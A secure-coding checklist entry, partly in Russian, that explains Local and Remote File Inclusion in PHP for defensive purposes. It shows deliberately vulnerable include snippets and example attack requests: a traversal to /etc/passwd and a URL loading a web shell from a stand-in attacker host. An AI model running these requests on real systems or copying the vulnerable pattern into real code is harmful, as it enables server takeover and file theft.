V5.3.9 Output Encoding and Injection Prevention

Requirement:

Verify that the application protects against Local File Inclusion (LFI) or Remote File Inclusion (RFI) attacks.

Explanation:

Local File Inclusion (LFI)

Наличие уязвимости в скрипте, к  примеру:

$file = $_GET['file'];

include $file.'.php';

приводит к выполнению произвольного кода на стороне сервера. Используя уязвимость злоумышленник может выполнить HTTP-запрос:

http://example.com/file.php?addr=../../../../../etc/passwd

чтобы заставить приложение выполнить команду на локальной системе.

Remote File Inclusion (RFI)

Наличие уязвимости в скрипте, к  примеру:

$file = $_GET['file'];

include($file);

приводит к выполнению произвольного кода на стороне сервера. Используя уязвимость злоумышленник может выполнить HTTP-запрос:

http://example.com/?file=http://attacker.com/wso.php

чтобы заставить приложение запустить вредоносный код на стороне сервера.

Remediation:

Убедитесь, что приложение защищено от атак с локальным включением файлов (LFI) или удаленным включением файлов (RFI).

Additional: